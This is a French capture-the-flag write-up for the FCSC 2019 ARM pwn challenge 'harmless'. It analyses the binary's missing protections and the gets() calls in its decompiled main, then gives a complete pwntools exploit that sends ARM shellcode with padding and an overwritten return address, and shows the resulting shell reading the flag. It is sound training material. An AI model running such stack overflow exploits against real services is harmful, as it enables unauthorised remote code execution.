Table des matières
Prise de contact
On regarde ce qu’il se passe en exécution normale :
$ nc localhost 4000
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Bob
Nice to meet you Bob. How old are you?
>> 1
Are you a developper? [Y/N]
>> Y
This might be useful for you:
username: 0xf2a0cc70
age: 0xf2a0cc6c
dev: 0xf2a0cc68
comment: 0xf2a0cbe8
Feel free to drop us a short comment about this CTF.
>> comment
Thanks for your feedback!
Bye.
^C
$
Sécurité ?
Le binaire dernière le service est fourni. On regarde sa sécurité:
$ checksec /tmp/harmless
[*] '/tmp/harmless'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xf000)
Stack: Executable
RWX: Has RWX segments
- Pas de protection de la pile
- La pile est exécutable
On devrait donc pouvoir faire un buffer overflow avec un shellcode dans une des variables…
Disassemble it !
On utilise Ghidra
pour ça :
undefined4 main(void)
{
char acStack_b0 [128];
char local_30 [4];
char acStack_2c [4];
char acStack_28 [32];
puts("Hello, and welcome to ECSC!");
puts("My name is Michel.");
puts("What\'s your name?");
printf(">>");
fflush(stdout);
gets(acStack_28);
printf("Nice to meet you %s. How old are you?\n", acStack_28);
printf(">>");
fflush(stdout);
gets(acStack_2c);
puts("Are you a developper? [Y/N]");
printf(">>");
fflush(stdout);
gets(local_30);
if (local_30[0] == 'Y') {
puts("This might be useful for you: ");
printf("\tusername: %p\n", acStack_28);
printf("\t age: %p\n", acStack_2c);
printf("\t dev: %p\n", local_30);
printf("\t comment: %p\n", acStack_b0);
puts("Feel free to drop us a short comment about this CTF.");
printf(">>");
fflush(stdout);
gets(acStack_b0);
puts("Thanks for your feedback!");
puts("Bye.");
}
else {
puts("Goodbye then!");
}
return 0;
}
On retrouve bien un algo qui ressemble a ce qu’on a observé en exécution normale. De plus:
- Aucune des saisies clavier n’est protégée
- Si on répond “Y” à développeur, ça affiche l’adresse des variables qui sont donc dans la pile/stack
- La taille de la stack locale devrait être de 128+4+4+32 = 168
Donc l’adresse de retour de la fonction main devrait se trouver à 168+4 (les +4 pour la base de la pile)
Exploit it!
On exploite avec pwn:
import pwn
# C'est du ARM...
pwn.context.arch = "arm"
# Si on veux tester en local. Ajouter la variable d'environnement
# QEMU_LD_PREFIX=/usr/arm-linux-gnueabi
# p = pwn.process("./harmless")
# Version distante
p = pwn.remote("localhost", 4000)
p.recvuntil(b">> ")
p.sendline(b"my name")
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil(b">> ")
p.sendline(b"Y")
a = p.recvuntil(b">> ")
addr = a.split(b"\n")[4].split(b" ")[2]
start_buf = pwn.p32((int(addr, 16)))
shellcode = pwn.asm(pwn.shellcraft.arm.linux.sh())
payload = shellcode + b"A" * ((168 + 4) - len(shellcode)) + start_buf
p.sendline(payload)
p.interactive()
Et le résultat:
$ python3 fcsc2019-pwn-harmless.py
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
$ ls
flag.txt
harmless
run.sh
$ cat flag.txt
FCSC{fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156...
$
[*] Closed connection to localhost port 4000
$